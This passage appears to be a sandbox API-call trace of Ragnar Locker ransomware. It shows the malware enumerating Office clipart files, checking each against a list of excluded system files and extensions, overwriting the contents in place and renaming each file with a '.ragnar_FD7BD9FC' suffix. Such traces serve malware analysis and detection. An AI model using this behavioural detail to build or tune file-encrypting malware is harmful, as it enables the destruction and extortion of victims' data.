out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.ragnar_FD7BD9FC" [0091.591] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.591] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0091.591] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.591] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00828_.WMF" | out: lpString1="SO00828_.WMF") returned="SO00828_.WMF" [0091.591] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF") returned=".WMF" [0091.591] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="autorun.inf") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="boot.ini") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="bootfont.bin") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="bootsect.bak") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="bootmgr") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="bootmgr.efi") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="desktop.ini") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="iconcache.db") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="ntldr") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="ntuser.dat") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="ntuser.ini") returned 1 [0091.592] lstrcmpiW (lpString1="SO00828_.WMF", lpString2="thumbs.db") returned -1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.592] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf")) returned 0x20 [0091.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.593] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10414) returned 1 [0091.593] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.593] GetProcessHeap () returned 0x580000 [0091.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.593] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.594] VirtualAlloc (lpAddress=0x0, dwSize=0x28ae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.595] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.595] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x28ae, lpOverlapped=0x0) returned 1 [0091.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.596] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.596] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x28ae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x28ae, lpOverlapped=0x0) returned 1 [0091.596] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.596] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x28ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.596] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.596] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.596] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.596] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.596] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.596] GetProcessHeap () returned 0x580000 [0091.597] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.597] CloseHandle (hObject=0xf4) returned 1 [0091.597] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" [0091.597] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.ragnar_FD7BD9FC" [0091.597] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.597] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0091.597] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.597] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00834_.WMF" | out: lpString1="SO00834_.WMF") returned="SO00834_.WMF" [0091.597] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF") returned=".WMF" [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="autorun.inf") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="boot.ini") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="bootfont.bin") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="bootsect.bak") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="bootmgr") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="bootmgr.efi") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="desktop.ini") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="iconcache.db") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="ntldr") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="ntuser.dat") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="ntuser.ini") returned 1 [0091.598] lstrcmpiW (lpString1="SO00834_.WMF", lpString2="thumbs.db") returned -1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.598] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf")) returned 0x20 [0091.598] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.599] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14042) returned 1 [0091.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.599] GetProcessHeap () returned 0x580000 [0091.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.599] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.600] VirtualAlloc (lpAddress=0x0, dwSize=0x36da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.600] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.600] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.600] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x36da, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x36da, lpOverlapped=0x0) returned 1 [0091.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.601] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36da, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.601] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x36da, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x36da, lpOverlapped=0x0) returned 1 [0091.601] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.601] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.602] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.602] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.602] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.602] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.602] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.602] GetProcessHeap () returned 0x580000 [0091.602] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.602] CloseHandle (hObject=0xf4) returned 1 [0091.602] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" [0091.602] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.ragnar_FD7BD9FC" [0091.602] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.603] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0091.603] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.603] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00837_.WMF" | out: lpString1="SO00837_.WMF") returned="SO00837_.WMF" [0091.603] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF") returned=".WMF" [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="autorun.inf") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="boot.ini") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="bootfont.bin") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="bootsect.bak") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="bootmgr") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="bootmgr.efi") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="desktop.ini") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="iconcache.db") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="ntldr") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="ntuser.dat") returned 1 [0091.603] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.604] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="ntuser.ini") returned 1 [0091.604] lstrcmpiW (lpString1="SO00837_.WMF", lpString2="thumbs.db") returned -1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.604] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf")) returned 0x20 [0091.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16360) returned 1 [0091.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3fdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.605] GetProcessHeap () returned 0x580000 [0091.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.605] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.606] VirtualAlloc (lpAddress=0x0, dwSize=0x3fe8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.606] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.607] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3fe8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3fe8, lpOverlapped=0x0) returned 1 [0091.607] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.607] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fe8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.608] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3fe8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3fe8, lpOverlapped=0x0) returned 1 [0091.608] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fe8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.608] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.608] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3fe8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.608] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.608] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.608] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.608] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.608] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.608] GetProcessHeap () returned 0x580000 [0091.609] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.609] CloseHandle (hObject=0xf4) returned 1 [0091.609] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" [0091.609] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.ragnar_FD7BD9FC" [0091.609] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.609] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 